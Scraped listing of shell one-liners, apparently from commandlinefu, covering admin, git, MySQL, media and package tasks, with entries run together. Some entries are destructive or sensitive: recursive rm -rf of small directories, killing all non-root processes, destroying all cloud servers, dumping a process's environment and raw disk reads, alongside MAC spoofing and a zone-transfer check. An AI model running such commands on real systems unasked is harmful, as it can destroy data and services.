grep cast' is enough to get the IP address, but it doesn't strip the rest of the junk out. macchanger -A (nic) You have to install the package macchanger but this command will create a random mac from a list of known manufacturers. If you want to make a complete random mac, use the -r option . tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap use ethereal to generate a pcap file of a VOIP call use ethereal to generate a pcap file of and iax2 VOIP channel on the specified interface with a particular host git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove' HEAD lsoave@ubuntu:~/rails/heroku/$ git filter-branch --index-filter 'git rm --cached --ignore-unmatch README.S3.settings' HEADRewrite b308c8301b3075aa56793e08127452e201b4f0ff (23/30)rm 'README.S3.settings' Rewrite 9967e7a1a422a7247d149c6225e14d03df7d6c67 (24/30)rm 'README.S3.settings' Rewrite 0b0ed75fdf09531565ed2970fa9a49cfa06442de (25/30)rm 'README.S3.settings' Rewrite e8c512abaf50c3025eb996fd93b705289852cf31 (26/30)rm 'README.S3.settings' Rewrite b09ca619e31b5bbedbc956bdf93fb8e8856a18c6 (27/30)rm 'README.S3.settings' Rewrite f270fafaa5962e255701b2bf14c1d3f2a4d50814 (28/30)rm 'README.S3.settings' Rewrite 74bbf277a98d0aa9b93e719063f06890fd155179 (29/30)rm 'README.S3.settings' Rewrite f57b3079e967ea641bfedd18e1c2a80d70805906 (30/30) Ref 'refs/heads/heroku.dev' was rewritten lsoave@ubuntu:~/rails/heroku/$ Removing sensitive data from the entire repo history. Removing sensitive data sudo env ARCHFLAGS="-arch x86_64" gem install mysql Functions: env install sudo Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard) cat /proc/<PID>/environ USER=rootLOGNAME=rootHOME=/rootPATH=/usr/bin:/bin:/usr/sbin:/sbinMAIL=/var/mail/rootSHELL=/bin/bashSSH_CLIENT=192.168.8.2 29998 22SSH_CONNECTION=192.168.8.2 29998 192.168.8.12 22SSH_TTY=/dev/pts/0TERM=linuxSSH_AUTH_SOCK=/tmp/ssh-IJZxdX8645/ find out about a process Good to find out about hostile processes find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf Functions: du find grep rm sed tr xargs Remove all directories less than 1 MB in size in or below current directory sed -i.bak '/^[[:space:]]*$/d' file_name $ cat aFile This is an example file ^ with a blank line $ sed -i.bak '/^[[:space:]]*$/d' aFile $ cat aFile.bak Remove blank lines from files, even if some of the lines have whitespace (spaces, tabs, etc.). Also creates a .bak copy of the original file. Works on Mac also. Thanks to those all those who left comments. awk '{print}' | espeak -v pt -stdin stdin speaker via espeak Speaks whatever comes in via stdin (-v pt = portuguese, default = englisg) ..speech part of keyboard event talker. Made to accomplish a simple alarm central based on a cheap keyboard circuit. This way I have one zone per direct keypress. Depends on keypress.sh. It speaks out loud wich zone (key) has been pressed ( faulted ). Here is keypress.sh : # keypress.sh: Detect a user keypress ("hot keys"). old_tty_settings=$(stty -g) # Save old settings (why?). stty -icanon Keypress=$(head -c1) # or $(dd bs=1 count=1 2> /dev/null) # on non-GNU systems aplay -q /home/mm/bash/beep-1.wav echo "Chamada quarto \""$Keypress"\"." stty "$old_tty_settings" # Restore old settings. # Thanks, Stephane Chazelas. ‹ First < 206 207 208 209 210 > Last › find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1 Functions: du find tail show how much diskspace all images in a given directory need VBoxManage openmedium dvd "/path/name.iso" Create a virtual disk (CD/DVD) in VirtualBox No comment... it's easy! Using the VBoxManage list and the switch 'hdds' or 'dvds' you can show the list of hard disks and DVD registered on the system. lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\.][0-9\.]*:[0-9][0-9]*/!d' get tor bridges dig @somenameserver.net somedomainname.net axfr Check if your domain name is suspectable to axfr attacks. function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; } $ whichpkg cron cron: /usr/sbin/cron $ whichpkg ls $ whichpkg intentionally-non-existent dpkg: *intentionally-non-existent* not found. Functions: egrep which Similar to command 7822, but handles errors gracefully. find . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {} find specified directory and delete it recursively including directories with spaces killall -r 'Activ' Kill a process by its partial name (BSD/Mac) This kills Activity Monitor echo Faltan `curl http://www.elproximoferiado.com.ar/index.php?country=AR -silent | grep contador | cut -f2 -d">" | cut -f1 -d"<"` dias para el proximo feriado Count the days until the next holiday in Argentina. Execute a command with the last parameter of a previous command Suppose that you had change in a directory like /home/user/mycode/code, and now you need to list it, instead of type entire path again, use ls !$ to recall path and list. Useful with many commands, this is only an example. (In this case, same result can be achivied with ls .) sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt Reverse DNS lookups Reverse DNS lookups, from a file with list of IP's, here the file is called lookups.txt echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } |grep -Fxv -f /tmp/installedinpath Functions: echo find grep find files in $PATH that were not installed through dpkg OS: Debian based (or those that use dpkg) Equivalent to doing a dpkg -S on each file in $PATH, but way faster. May report files generated though postinstall scripts and such. For example . It will report /usr/bin/vim .. which is not not a file installed directly by dpkg, but a link generated by alternatives hooks calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; } floating point shell calculator awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log 2009-Jun-25 ** 2009-Jun-26 *** 2009-Jun-27 2009-Jun-28 * 2009-Jun-29 * 2009-Jun-30 * 2009-Jul-01 2009-Jul-02 * 2009-Jul-03 2009-Jul-04 2009-Jul-05 2009-Jul-06 *** 2009-Jul-07 ***** 2009-Jul-08 *** 2009-Jul-09 *** 2009-Jul-10 ***** 2009-Jul-11 2009-Jul-12 2009-Jul-13 ** 2009-Jul-14 ***** 2009-Jul-15 2009-Jul-16 2009-Jul-17 * 2009-Jul-18 * 2009-Jul-19 * 2009-Jul-20 **** 2009-Jul-21 * 2009-Jul-22 *** 2009-Jul-24 ** 2009-Jul-25 ** 2009-Jul-26 **** irssi log histogram This awk command prints a histogram of the number of times 'emergency' is the first word in a line, per day, in an irssi (IRC client) log file. wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/***/download/ Replace *** with the appropiate values function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; } $ summpkg nm Package: binutils Status: install ok installed Priority: optional Section: devel Installed-Size: 9592 Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com> Architecture: i386 Version: 2.20.1-3ubuntu7.1 Replaces: binutils-gold (<< 2.20-5) Provides: elf-binutils Depends: libc6 (>= 2.11), zlib1g (>= 1:1.1.4) Suggests: binutils-doc (>= 2.20.1-3ubuntu7.1) Conflicts: elf-binutils, gas, modutils (<< 2.4.19-1) Description: The GNU assembler, linker and binary utilities The programs in this package are used to assemble, link and manipulate binary and object files. They may be used in conjunction with a compiler and various libraries to build programs. Original-Maintainer: Matthias Klose <doko@debian.org> Functions: awk egrep which This version builds on my command 8776 (Find the package a command belongs to on debian-based distros). So if you use that command to find package name then you could alternatively use following for package summary: function summpkg { dpkg -s $(whichpkg $1 | awk -F: '{print $1}'); } 7z a -mx=9 -ms=on archive.7z files_for_archiving/ m6@yoda:/var$ 7z a -mx=9 -ms=on archive.7z files_for_archiving/ 7-Zip 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30 p7zip Version 9.04 (locale=en_US.utf8,Utf16=on,HugeFiles=on,2 CPUs) Scanning Creating archive archive.7z Compressing system/cache/b92c3fe103ae66295e73775cf4a376b1 Compressing i/desktop_branded/__200x142__ Compressing i/laptops/__200x142__ Compressing i/memory_cards/__200x142__ Create Solid Archive (best compression) with 7z Creates a solid archive with the highest possible compression (Ultra). Advantage of 7z is that it will use all the processor cores to create the archive. (Ok. at least version 9.04 does) mount|grep -e '//'|cut -d ' ' -f3| xargs -I {} umount {} Functions: cut grep mount umount xargs Unmount all mounted SAMBA/Windows shares This is a handy command to put into ~/.bash_logout to automatically un-mount windows shares whenever the user logs out. If you use this on as a non-root account then you'll need to append sudo before umount and the user will need to have the appropriate sudoer rights to run the /bin/umount command. find /path -name \*.php -user nobody -exec grep -nH whatever {} \; grep selectively allows to grep very narrow subset of files List installed rpm named and arquitecture. sudo cat /usr/share/icons/*/*/* > /dev/dsp Playing raw data 'stdin' : Unsigned 8 bit, Rate 8000 Hz, Mono Functions: cat sudo Play music from pure data Plays the sound of the file, should sound like *some* kind of music, most files sound like static but some are really cool. variations: sudo cat /dev/sda > /dev/dsp sudo cat /dev/sda5 | aplay Check out http://bbs.archlinux.org/viewtopic.php?id=70937 for more variations! semi-dupe--like http://www.commandlinefu.com/commands/view/985/generate-white-noise but with different syntax and program. find / -type f -exec wc -c {} \; | sort -nr | head -100 Functions: find head sort wc List files and sizes xdg-open . show current directory Opens a file or URL in the user's preferred application. command -geometry 120x30+1280+0 Open your application to a specific size and location open an application to wherever you like on your current display. the first set of #'s (120x30) denotes size of window opened in, and the second set (+1280+0) identifies the location. Either set can be used alone, or with the other. Also, opening gnome-terminal with this option requires it to be "--geometry" for some reason. curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/ upload a file via ftp echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) )) 1653 Functions: cat echo tr xargs if you, like me, do not have the numsum, this way can do the same. ‹ First < 207 208 209 210 211 > Last › logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep Temperature | awk -F: ' { print $2 } '| cut -c2-4 | tr "\n" " ");echo "${timestamp} ${temps}" >> ${logfile} Functions: awk cut date grep tr Create a log file of Nvidia graphics card temperatures using nvidia-smi perl -MURI::Escape -e 'print uri_escape("String encoded to a url");' String%20encoded%20to%20a%20url encode a text to url_encoded format usefull for posts via wget openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12 Convert pkcs12 Certificate to ASCII for use in PHP find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \; find pictures and renames them appending the containing folder name find pictures recursively in a specified folder and renames the file name to originalname_containingfoldername.jpg summpkg() { rpm -qfi "$@"; } ~$ summpkg /bin/sort Name : coreutils Version : 8.10 Release : 2.fc15 Architecture: x86_64 Install Date: Fri 13 May 2011 12:03:43 BST Group : System Environment/Base Size : 13612880 License : GPLv3+ Signature : RSA/SHA256, Wed 09 Feb 2011 11:48:28 GMT, Key ID b4ebf579069c8460 Source RPM : coreutils-8.10-2.fc15.src.rpm Build Date : Tue 08 Feb 2011 11:50:28 GMT Build Host : x86-19.phx2.fedoraproject.org Relocations : (not relocatable) Vendor : Fedora Project URL : http://www.gnu.org/software/coreutils/ Summary : A set of basic GNU tools commonly used in shell scripts These are the GNU core utilities. This package is the combination of the old GNU fileutils, sh-utils, and textutils packages. A file's rpm-package details Find information about the rpm package which owns a certain file. for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i; done libapr-1.so.0.4.5 libct.so.4.0.0 libsqlite3.so.0.8.6 libsybdb.so.5.0.0 Functions: echo file grep readelf Check if the files in current directory has the RPATH variable defined Using gentoo prefix portage I got in a situation where some packages did not contain the needed RPATH variable. This command helped me to find out which ones I should recompile bash --rcfile /a/special/bashrc Launch an interactive shell with special aliases and functions. awk -F: '{print $3}' /etc/passwd | sort |uniq -d user@host:/etc# awk -F: '{print $3}' /etc/passwd | sort |uniq -d 203 user@host:/etc# Find duplicate UID in /etc/passwd sudo echo 1 > /proc/acpi/asus/camera Switch on eeepc camera In some applications on eeepc xandros 7, default OS, video ccamera is not available untill you enter this command netstat -tap | grep mysql Find out if MySQL is up and listening on Linux infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done Sort values arranged in rows, like: x3, x5, x1, x4, x7, x2, x6 x11, x13, x14, x8, x10, x12, x9 ... ... ... ... ... ... ... After executing the script, values will be horizontally sorted: x1, x2, x3, x4, x5, x6, x7 x8, x9, x10, x11, x12, x13, x14 where x1, x2, ..., xn are integers Each row can have n integers and x1 < x2 < x3, ..., < x7 x8 < x9 < x10, ..., < x14 .. .. .. .. After executing the script, each row will be sorted in ascending order. Functions: cat echo sed sort tr Sorting by rows Save the script as: sort_file Usage: sort_file < sort_me.csv > out_file.csv This script was originally posted by Admiral Beotch in LinuxQuestions.org on the Linux-Software forum. I modified this script to make it more portable. pidstat -C "ffmpeg" -u Command to display how much resource is taken by cpu and which core is taking echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))" http://foo.com/blah_blah From http://daringfireball.net/2009/11/liberal_regex_for_matching_urls Thought it would be useful to commandlinefuers. grep -Eo '"entries":\[{"url":"[^"]*"' "$HOME/.mozilla/firefox/*.default/sessionstore.js" | sed 's/^.*:"//; s/"$//' while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.+?)</p>}s' | cowsay; sleep 2; done _______________________ < omg what have I done? > ----------------------- Functions: perl sleep I used curl instead of lynx. for i in {0..3}; do cpufreq-set -c $i -g performance; done Sets performance CPU governer of all cores of a 4-core CPU. whichpkg() { rpm -qf "$@"; } ~$ whichpkg /bin/sort coreutils-8.10-2.fc15.x86_64 Find the package a command belongs to on rpm-based distros Find the package a file belongs to on an rpm-based distro. @bt:~$ sudo /opt/nessus/sbin/nessusd Startup Nessus and initialize plugins on backtrack5 Starts the Nessus daemon, downloads and processes the plugins. perl -p -i -e 's/.*\n//g if $.==2' ~/.ssh/known_hosts Easily removes line #2 in ~/.ssh/known_hosts. mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4 -o number_video.mp4 Convert a batch of images to a Video Converts the batch of images to video. *mencoder* required. curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)<\/Result>.*/\1/p' mozambique Spelling Suggestion Spelling Suggestion using Yahoo! API ps -o user,%cpu,%mem,command $ ps -o user,%cpu,%mem,command USER %CPU %MEM COMMAND fser 0.0 0.1 bash fser 0.0 0.0 ps -o user,%cpu,%mem,command Using ps options rather than filtering. cat myfile.mp3 | ssh user@remotemachine "mplayer -cache 8912 -" Play local mp3 file on remote machine's speakers Play local mp3 file on remote machine's speakers through ssh find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -print0 | xargs -0 wc -l | tail -1 Counting the source code's line numbers C/C++ Java ls -t | head $ ls -t | head distroversions.txt craigslist.txt sql-bench Bonnie.4539 dental.txt vulnkb_v2.xml error.log asdf.txt Show last changed files in a directory This will quickly display files last changed in a directory, with the newest on top. ‹ First < 208 209 210 211 212 > Last › while true; do date; sleep 1; done $ while true; do date; sleep 1; done Mon Mar 23 15:42:52 PDT 2009 Mon Mar 23 15:42:53 PDT 2009 Mon Mar 23 15:42:54 PDT 2009 Mon Mar 23 15:42:55 PDT 2009 Mon Mar 23 15:42:56 PDT 2009 Handy if all you have is a console session or tty. ack -ai 'searchterm' echo "pretty realistic virtual typing" | randtype -m 4 this also generates errors (change 4 to higher number for more mistakes) grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g' remove script from infected html files recursive find and replace. important stuff are grep -Z and zargs -0 which add zero byte after file name so sed can work even with file names with spaces. find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f Functions: cp fc-cache find Search and install true type fonts under user home directory 1) Find true type fonts; 2) Copy them to /usr/share/fonts/truetype; 3) Reload font information. function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; } search google from command line google "command line fu" if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'Content-Encoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; } rany:~$ wiki richard stallman rany:~$ wiki bourne again shell "Bash is a free software Unix shell written for the GNU Project. Its name is an acronym which stands for Bourne-again shell. The name is a pun on the name of the Bourne shell (sh), an early and important Unix shell written by Stephen Bourne and distributed" " with Version 7 Unix circa 1978, and the concept of being \"born again\". Bash was created in 1987 by Brian Fox... http://a.vu/w:Bash" Query wikipedia over DNS Flush DNS cache on OS X 10.5 Leopard cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}' 13164 Functions: awk cat printf Watch number of lines being processed on a clear screen awk can clear the screen while displaying output. This is a handy way of seeing how many lines a tail -f has hit or see how many files find has found. On solaris, you may have to use 'nawk' and your machine needs 'tput' get the IP connected to the server (usefull to detect IP that should be blocked) dirname `pwd` Functions: dirname Get parent directory path find . -exec grep -q '<?php' {} /dev/null \; -ls find php files even without extension Find all php files in a directory and sub-directories even if they don't have an extension. to limit to current directory use find . -maxdepth 1 -exec grep -q '<?php' {} /dev/null \; -ls for command line scripts, could also use find . -exec grep -q '#!/usr/bin/php' {} /dev/null \; -ls this would also work for bash scripts find . -exec grep -q '#!/bin/bash' {} /dev/null \; -ls find . -iregex ".+\.\(c\|cpp\|h\)" | xargs -I{} perl -e "system(\"iconv -f SHIFT_JIS -t UTF-8 {} > temp; mv temp {} \");" ; Converts Character Set of Files in a Folder for i in $(pgrep -v -u root);do kill -9 $i;done Kill all processes that don't belong to root/force logoff explanation: grep -- displays process ids -v -- negates the matching, displays all but what is specified in the other options -u -- specifies the user to display, or in this case negate The process loops through all PIDs that are found by pgrep, then orders a forced kill to the processes in numerical order, effectively killing the parent processes first including the shells in use which will force the users to logout. Tested on Slackware Linux 12.2 and Slackware-current s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done convert string to array find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2 Functions: cut du find sort tail function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;} 1178c5950d321a8c5cd8294cd67535157e296554 is ahead of (project16/taskbranch-514) by 3 commits Functions: cut echo head wc telling you from where your commit come from where COMMIT for instance: where 1178c5950d321a8c5cd8294cd67535157e296554 where HEAD~5 find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*.(pyc|pyo)' -prune -o -print \) | qfile -o -f - Check for orphaned python files tail -f LOGFILE | perl -ne '`say "$_"`;' speak a chat log file while it's running say only processes a complete file, at eof, so following a file isn't possible. Quick and dirty perl oneliner to feed each line from the tail -f to say. Yes, expensive to lauch a new process each line. This little ditty was prompted by a discussion on how horrible it is to use VoiceOver on ncurses programs such as irssi. grep -Ilr "<?php" . ./CustomFields/add-avatars.php ./examples/example-widget.php ./examples/multiwidget.php ./examples/Recent_Comments.php ./examples/Recent_Posts.php needs grep what supports '--recursive' alias path="/usr/bin/perl -e 'use Cwd; foreach my \$file (@ARGV) {print Cwd::abs_path(\$file) .\"\n\" if(-e \$file);}'" path some_file.txt /home/espider/some_directory/some_file.txt Creates a 'path' command that always prints the full path to any file The command creates an alias called 'path', so it's useful to add it to your .profile or .bash_profile. The path command then prints the full path of any file, directory, or list of files given. Soft links will be resolved to their true location. This is especially useful if you use scp often to copy files across systems. Now rather then using pwd to get a directory, and then doing a separate cut and paste to get a file's name, you can just type 'path file' and get the full path in one operation. strings libc-2.2.5.so | grep stat.h look for a header reference in a shared library rpm -qlp <package.rpm> check rpm pkg content w/o installation allows to check inside rpm file w/o installing it gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0 What you're really trying to do is make all the icons go away, right? It's not that hard, guys. Saves a lot of heart ache and hard drive activity to just tell Gnome to not display the icons. ‹ First < 209 210 211 212 213 > Last › find /path/to/dir -type f |sed 's/^.*\.//' |sort -f |uniq -i list all file-types (case-insensitive extensions) including subdirectories seq 20 | awk 'ORS=NR%5?FS:RS' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 join every five lines seq 20 | awk '{line=line sep $0; sep=" "} !(NR%5){print line; line=sep=""}' rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache' Functions: alias rm Clears Firefox` cache without clicking around ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ... modify (mozldap) with proxy authentication and no other controls grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //' Extract names and email addresses from LDIF files sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id=null where favicon_id = (select p.favicon_id from moz_bookmarks b join moz_places p on b.fk = p.id where b.title = 'Broken');" clear stale favicons in firefox awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt group every five lines mysqldump | sed -e 's/^) ENGINE=MyISAM/) ENGINE=InnoDB/' mysql: Convert MyISAM tables to InnoDB via mysqldump Textually convert the storage engine of MyISAM tables to InnoDB. This solution requires dumping of the database, transforming, and importing onto another server. cat /proc/cpuinfo cpuinfo ldconfig -p | grep <somenewlib.so> Functions: grep ldconfig List shared libraries recognized by the system Allows to check if shared library could be dynamically loaded s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo ${!array[@]} 1 2 4 8 9 0 0 1 2 3 4 5 Convert string to array using echo and sed =) ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2 ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M4V00002.MP4 Convert movie to psp format lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}" sed -n "/^USE \`employees\`/,/^USE \`/p" MySQL: Slice out a specific database (assumes existence of the USE statement) from mysqldump output The 'USE' statement only appears in mysqldump's output if multiple databases are exported, or --databases is specified. This command filters only those statements relating to a specific database ('employees' in the example). chflags -R nouchg ./ make a samba shared folder writable, when doing an svn commit on OSX otherwise you get this error message: svn: Can't move '.svn/tmp/entries' to '.svn/entries': Operation not permitted SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/null | cut -f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM" sum=16173037 Functions: cut du echo This example summarize size of all pdf files in /tmp directory and its subdirectories (in bytes). Replace "/tmp" with directory path of your choice and "\*pdf" or even "-iname \*pdf" with your own pattern to match specific type of files. You can replace also parameter for du to count kilo or megabytes, but because of du rounding the sum will not be correct (especially with lot of small files and megabytes counting). In some cases you could probably use sth like this: du -cb `find /tmp -type f -iname \*pdf`|tail -n 1 But be aware that this second command CANNOT count files with spaces in their names and it will cheat you, if there are some files matching the pattern that you don't have rights to read. The first oneliner is resistant to such problems (it will not count sizes of files which you cant read but will give you correct sum of rest of them). ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv add overlay png image to video as logo........... function mg(){ man ${1} | egrep ${2} | more; } e.g. mg mplayer playlist mplayer [options] [file|URL|playlist|-] Functions: egrep man Fewer keystrokes to search man page of command Quicker way to search man pages of command for key word sudo -b xterm "The -b (background) option tells sudo to run the given command in the background." -- after it asks you for the password in the foreground. Play Star Wars Episode IV in your terminal ;) fsutil hardlink creat new_file exits_file hard link file for Windows svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; } bash function for convenient 'find' in subversion working directories you can use svn_find just like the regular find command, except that subdirectories named .svn will be ignored. example: svn_find . -mtime -1 -size +200k -ls -> all files modified within last day and bigger then 200 KiB, but ignores subdirectories named .svn cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done Functions: cd ln Link all the files in this directory to that directory I find this handy for linking all the bin files in a package to /usr/bin or all the man files to /usr/share/man. You can replace * with */* to operate on all the files in subdirectories. ( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist Change size of lots of image files. File names are read from a text file. Imagemagick library is used. If image format is not JPEG, the "quality" option should not be issued. ‹ First < 210 211 212 213 214 > Last › while read line; do echo -e "$line@mail.com"; done < list.txt $ while read line; do echo -e "$line@mail.com"; done < list.txt john@mail.com mark@mail.com white@mail.com lion@mail.com robert@mail.com @mail.com by adding the line in list.txt Add @mail.com each line of a list START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1))) Generate a random number in a range This commands lets you generate a random number between the range [$START; $END]. aptitude remove $(deborphan) Remove unused libs/packages deborphan(1) must be installed. mysqlcheck -op -u<user> <db> mysql.help_keyword OK mysql.help_relation OK mysql.help_topic OK mysql.host Table is already up to date -o : optimize -p : asks for password -u : user to use for authentication curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \/release\/ | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' Changed wget to curl and it doesn't create a file anymore. mysqldump | sed -n "/^USE \`employees\`/,/^USE \`/p" | sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p" MySQL: Slice out a specific table from a specific database (assumes existence of the USE statement) from output of mysqldump Only filter the statements to create and deploy a specifc table from a specific database (`departments`.`employees` in the example) for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightbox-servers destroy $server;done Destroying server srv-XXXX1 Destroying server srv-XXXX2 You need to have Brightbox Cloud CLI tools installed defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES use the short username by default for network authentication This command will use the short username (ie: bsmith) instead of the full (or long) name (ie: Bob Smith), by default in the network authentication dialog, ie: when connecting to servers. Resulting in one less step/time saved. Simply change the boolean value to "NO" (ie: "... -bool NO") to revert to the system's default behavior. defaults write com.apple.desktopservices DSDontWriteNetworkStores true Stop Mac OSX from creating .DS_Store files when interacting with a remote file server with the Finder echo -n "String to MD5" | md5sum | cut -b-32 Functions: cut echo md5sum Generate MD5 of string and output only the hash checksum du --max-depth=1 -B M |sort -rn 1899M . 889M ./corner 226M ./Downloads 142M ./.local 87M ./.mozilla 58M ./.cache 38M ./.kde 24M ./ogm 18M ./.config simple du command to give size of next level of subfolder in MB If you're only using -m or -k, you will need to remember they are either in Megabyte or kilobyte forms. So by using -B, it gives you the unit of the size measurement, which helps you from reading the result faster. You can try with -B K as well. mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sql cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g' MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces: "normalize" a my.cnf file. for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbox-cloudips destroy $ip;done pgrep xterm Find the process ID of such program: pgrep is an useful tool which looks through the currently running processes and lists the process IDs which matches the selection criteria to stdout. pkill can also be used with pgrep to send a kill signal to the program. find / -nouser -o -nogroup -print list files not owned by any user or group tested in csh on solaris. x2vnc {-west|-east|-north|-south} computer-ip:display-number Emulate a dual-screen using vnc This command use vnc to connect to another computer and emulate an dual-screen enviroment. Example of use: x2vnc -west 192.168.0.100:0 After this, if vnc server needs an password, will be prompt in the shell. p.s.: sorry my english find . -name file.txt | xargs -e grep "token" -o | wc -l Count occurrences of a word/token in a file xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ; xmodmap -e 'keycode 16 = 7 slash bar seveneighths bar seveneighths' reassign pipe key from AltGr-1 to AltGr-7 in X11 alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))' $ ssh root@www1.example.co m ssh: Could not resolve hostname www1.example.co: nodename nor servname provided, or not known $ hackm3! # (Oh crap. I just typed the password on the commandline) $ history |tail 504 ssh root@www1.example.co m 505 hackm3! # Now it's clear. $ histdel; histdel 503 ssh root@www1.example.co m 504 history |tail I rarely need this, but I have a hard time remembering the command when I need it. Admit it. This has happened to you. Yes this is bad, and you better clean up now. Borrowed from http://thoughtsbyclayg.blogspot.com/2008/02/how-to-delete-last-command-from-bash.html Convert encoding of a file cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz unrarsrc-4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; make ; make install Functions: cd ln make tar wget Install unrar on Linux box from sources sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file Remove the first line containing 'match' from file cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "=~placeholder~=") {print}' | awk -F "=~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1 "=" $2}' MySQL: normalize parameter names on my.cnf configuration file Multi-word parameters in my.cnf can be written with either hyphens or underscores. innodb_file_per_table is the same as innodb-file-per-table, as well as innodb_file-per_table. The script normalizes the parameter names to using underscores only, keeping from changing values (e.g. ?mysql-bin? parameter value should not change). diff -ru originDir updateDir > result.patch Removes an extra character and space. ‹ First < 211 212 213 214 215 > Last › wmctrl -o 100,0 